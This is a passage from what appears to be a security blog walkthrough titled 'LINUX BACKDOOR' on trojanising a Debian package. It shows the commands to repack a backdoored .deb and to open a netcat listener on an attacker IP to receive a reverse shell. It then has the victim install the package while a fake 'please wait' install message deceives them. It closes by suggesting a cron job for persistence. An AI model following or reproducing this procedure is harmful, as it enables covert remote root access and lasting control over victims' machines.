dpkg-deb --build code_pack/ Might take sometime to repack, then you see the code_pack.deb package after. Next thing is to open a netcat connection on the attacker machine and make sure the ip address and port number correlates with what you injected in the payload so as to listen for a reverse connection from the victim\u0026rsquo;s system and have remote access. The ip address and port number used was 192.168.100.13 and 2020, so:\nnc -lvp 2020 After this, we need to transfer the new code_pack.deb we just repacked to the victim machine. You can use any data delivery method you want (flash drives, ssh, python server, any\u0026hellip;). Just get it transferred to the victim system\nOnce transferred, Let\u0026rsquo;s assume you\u0026rsquo;re the victom, install the package on the victim\u0026rsquo;s system using:\nsudo dpkg -i code_pack.deb You can see it is stuck while installing with a message saying \u0026ldquo;please wait, this might take sometime to install\u0026rdquo;. This is just to fool the victim, letting him think it\u0026rsquo;s taking time to install while the attacker is controlling his system. If we we switch back to the attacker machine, we can see we have remote access while the victim still waits for the never ending installation process. Finally, once you establish remote access to the root account from the attacker machine, you can schedule as a cron job to install the package at a given duration which gives you persistence.\n","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/linux_backdoor/","summary":"Click to read the full walkthrough.","title":"LINUX BACKDOOR"}]